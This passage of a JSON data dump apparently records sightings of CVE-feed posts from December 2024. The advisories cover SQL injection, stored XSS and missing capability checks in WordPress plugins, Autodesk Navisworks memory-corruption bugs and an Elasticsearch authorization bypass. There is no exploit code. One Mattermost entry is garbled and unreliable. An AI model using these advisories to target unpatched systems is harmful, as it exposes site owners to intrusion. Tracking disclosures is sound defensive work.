18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Collapsing Categories plugin for WordPress is vulnerable to SQL Injection via the 'taxonomy' parameter of the /wp-json/collapsing-categories/v1/get REST API in all versions up to, and including, 3.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:50.000000Z"}, {"uuid": "0bbdb34b-46de-47d4-b87a-9b7402a111fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12596", "type": "seen", "source": "https://t.me/cvedetector/13151", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12596 - \"LifterLMS Arbitrary Post Deletion Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12596 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The LifterLMS \u2013 WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to arbitrary post deletion due to a missing capability check on the 'llms_delete_cert' action in all versions up to, and including, 7.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:49.000000Z"}, {"uuid": "4fd872c1-2f34-48bc-b013-8ab98969daa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12539", "type": "seen", "source": "https://t.me/cvedetector/13135", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12539 - Elasticsearch Auth Bypass Document Level Security Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12539 \nPublished : Dec. 17, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : An issue was discovered where improper authorization controls affected certain queries that could allow a malicious actor to circumvent Document Level Security in Elasticsearch and get access to documents that their roles would normally not allow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T23:28:31.000000Z"}, {"uuid": "293a543b-cdbb-4855-acf8-c49a12127b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12449", "type": "seen", "source": "https://t.me/cvedetector/13150", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12449 - WordPress Video Share VOD Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12449 \nPublished : Dec. 18, 2024, 4:15 a.m. | 43\u00a0minutes ago \nDescription : The Video Share VOD \u2013 Turnkey Video Site Builder Script plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'videowhisper_player_html' shortcode in all versions up to, and including, 2.6.30 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T06:09:48.000000Z"}, {"uuid": "c080985c-1bcf-4d48-877c-77fd75c67214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12200", "type": "seen", "source": "https://t.me/cvedetector/13110", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12200 - Autodesk Navisworks Out-of-Bounds Write Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12200 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:59.000000Z"}, {"uuid": "f9782133-72b3-4998-8188-2848a85acf12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12513", "type": "seen", "source": "https://t.me/cvedetector/13146", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12513 - WordPress Rewards Fuel Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12513 \nPublished : Dec. 18, 2024, 3:15 a.m. | 45\u00a0minutes ago \nDescription : The Contests by Rewards Fuel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'RF_CONTEST' shortcode in all versions up to, and including, 2.0.65 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T05:19:39.000000Z"}, {"uuid": "20a5b56c-062f-4922-8d95-ec38d98c9ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12500", "type": "seen", "source": "https://t.me/cvedetector/13145", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12500 - Philantro WordPress Donations Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12500 \nPublished : Dec. 18, 2024, 3:15 a.m. | 45\u00a0minutes ago \nDescription : The Philantro \u2013 Donations and Donor Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes like 'donate' in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T05:19:38.000000Z"}, {"uuid": "58ca4f1b-7a79-4718-9a12-5e43a699f104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12179", "type": "seen", "source": "https://t.me/cvedetector/13114", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12179 - Autodesk Navisworks Heap-based Overflow vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12179 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can be used to cause a Heap-based Overflow vulnerability. A malicious actor can leverage\u00a0this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:37:05.000000Z"}, {"uuid": "7719cbb8-b91d-4e23-bdc9-1cb4b198135b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12178", "type": "seen", "source": "https://t.me/cvedetector/13112", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12178 - Autodesk Navisworks DWFX File Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12178 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:37:00.000000Z"}, {"uuid": "9e422850-bee2-4a17-9114-adb68b908226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12197", "type": "seen", "source": "https://t.me/cvedetector/13107", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12197 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12197 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:53.000000Z"}, {"uuid": "88f9a9eb-9fe0-4375-82d1-9fecc4e68626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12194", "type": "seen", "source": "https://t.me/cvedetector/13106", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12194 - Autodesk Navisworks Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12194 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:53.000000Z"}, {"uuid": "4c00f6e2-c07a-4b02-b65d-f5740ed45f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12193", "type": "seen", "source": "https://t.me/cvedetector/13105", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12193 - Autodesk Navisworks DWFX Out-of-Bounds Write Advisory\", \n  \"Content\": \"CVE ID : CVE-2024-12193 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:52.000000Z"}, {"uuid": "e3f28f98-764c-4c66-bb33-606993f1209b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12670", "type": "seen", "source": "https://t.me/cvedetector/13101", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12670 - Autodesk Navisworks Heap-based Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12670 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWF file, when parsed through Autodesk Navisworks, can be used to cause a Heap-based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:46.000000Z"}, {"uuid": "1dcf229c-4abf-48d5-a49e-0a2646f13eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12671", "type": "seen", "source": "https://t.me/cvedetector/13100", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12671 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12671 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:45.000000Z"}, {"uuid": "508c3662-179f-48d4-b47d-1ed1c2d9003a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12669", "type": "seen", "source": "https://t.me/cvedetector/13099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12669 - Autodesk Navisworks Heap-based Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12669 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can be used to cause a Heap-based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:44.000000Z"}, {"uuid": "25baba96-370b-47b7-b484-2ecacfeb51e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12155", "type": "seen", "source": "https://t.me/cvedetector/12178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12155 - The SV100 Companion plugin for WordPress is vulner\", \n  \"Content\": \"CVE ID : CVE-2024-12155 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The SV100 Companion plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the settings_import() function in all versions up to, and including, 2.0.02. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:50.000000Z"}, {"uuid": "a8e5058f-4911-47b4-96c7-c4ead91fcf5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12110", "type": "seen", "source": "https://t.me/cvedetector/12177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12110 - The Gold Addons for Elementor plugin for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12110 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The Gold Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the activate() and deactivate() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to activate and deactivate licenses. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:49.000000Z"}, {"uuid": "fa68dc7f-cebe-4edd-8234-d1ad4ac8185f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12060", "type": "seen", "source": "https://t.me/cvedetector/12176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12060 - The WP Media Optimizer (.webp) plugin for WordPres\", \n  \"Content\": \"CVE ID : CVE-2024-12060 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The WP Media Optimizer (.webp) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018wpmowebp-css-resources\u2019 and 'wpmowebp-js-resources' parameters in all versions up to, and including, 1.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:48.000000Z"}, {"uuid": "642c0ac9-004b-4c44-a1f5-627ea987fe8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12235", "type": "seen", "source": "https://t.me/cvedetector/12131", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12235 - A vulnerability was found in Shenzhen Dashi Tongzh\", \n  \"Content\": \"CVE ID : CVE-2024-12235 \nPublished : Dec. 5, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in Shenzhen Dashi Tongzhou Information Technology AgileBPM up to 1.0.0. It has been declared as critical. Affected by this vulnerability is the function doFilter of the file \\agile-bpm-basic-master\\ab-auth\\ab-auth-spring-security-oauth2\\src\\main\\java\\com\\dstz\\auth\\filter\\AuthorizationTokenCheckFilter.java. The manipulation leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T20:22:53.000000Z"}, {"uuid": "dfaaa563-cdfd-4f43-af0c-b3779385c256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "https://t.me/cvedetector/12129", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12130 - An \u201cout of bounds read\u201d code execution vulnerabili\", \n  \"Content\": \"CVE ID : CVE-2024-12130 \nPublished : Dec. 5, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : An \u201cout of bounds read\u201d code execution vulnerability exists in the Rockwell Automation\u00a0Arena\u00ae  \n  \n that could allow a threat actor to craft a DOE file and force the software to read beyond the boundaries of an allocated memory. If exploited, a threat actor could leverage this vulnerability to execute arbitrary code. To exploit this vulnerability, a legitimate user must execute the malicious code crafted by the threat actor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T20:22:52.000000Z"}, {"uuid": "f8455865-fbef-4bd0-8aa1-bd46d6bc5c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12234", "type": "seen", "source": "https://t.me/cvedetector/12127", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12234 - A vulnerability was found in 1000 Projects Beauty\", \n  \"Content\": \"CVE ID : CVE-2024-12234 \nPublished : Dec. 5, 2024, 5:15 p.m. | 58\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Beauty Parlour Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/edit-customer-detailed.php. The manipulation of the argument name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T19:32:43.000000Z"}, {"uuid": "afc7242e-3c07-4865-a80e-43ecc51a2a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12233", "type": "seen", "source": "https://t.me/cvedetector/12126", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12233 - A vulnerability was found in code-projects Online\", \n  \"Content\": \"CVE ID : CVE-2024-12233 \nPublished : Dec. 5, 2024, 5:15 p.m. | 58\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Notice Board up to 1.0 and classified as critical. This issue affects some unknown processing of the file /registration.php of the component Profile Picture Handler. The manipulation of the argument img leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T19:32:43.000000Z"}, {"uuid": "e9f0988a-e991-42a2-b593-bec736274ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12247", "type": "seen", "source": "https://t.me/cvedetector/12117", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12247 - Mattermost versions 9.7.x <=<= 9.8.2\", \n  \"Content\": \"CVE ID : CVE-2024-12247 \nPublished : Dec. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : Mattermost versions 9.7.x <=<=<=\nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:52:17.000000Z"}, {"uuid": "9c3a13e2-f437-4e1c-b017-cf235b2002e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12232", "type": "seen", "source": "https://t.me/cvedetector/12116", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12232 - A vulnerability has been found in code-projects Si\", \n  \"Content\": \"CVE ID : CVE-2024-12232 \nPublished : Dec. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Simple CRUD Functionality 1.0 and classified as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument newtitle/newdescr leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:52:16.000000Z"}, {"uuid": "2574c5aa-5dd9-4c6a-ba41-5dde5154075d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12230", "type": "seen", "source": "https://t.me/cvedetector/12108", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12230 - A vulnerability, which was classified as critical,\", \n  \"Content\": \"CVE ID : CVE-2024-12230 \nPublished : Dec. 5, 2024, 3:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in PHPGurukul Complaint Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/subcategory.php. The manipulation of the argument category leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:02:04.000000Z"}, {"uuid": "7a80a413-3da9-4f6e-8508-528d0a9d19a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12229", "type": "seen", "source": "https://t.me/cvedetector/12107", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12229 - A vulnerability classified as critical was found i\", \n  \"Content\": \"CVE ID : CVE-2024-12229 \nPublished : Dec. 5, 2024, 3:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in PHPGurukul Complaint Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/complaint-search.php. The manipulation of the argument search leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:02:04.000000Z"}, {"uuid": "4eca710e-b830-489a-adb3-fe21560b97b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12227", "type": "seen", "source": "https://t.me/cvedetector/12106", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12227 - A vulnerability, which was classified as problemat\", \n  \"Content\": \"CVE ID : CVE-2024-12227 \nPublished : Dec. 5, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in MSI Dragon Center up to 2.0.146.0. This affects the function MmUnMapIoSpace in the library NTIOLib_X64.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. Upgrading to version 2.0.148.0 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, 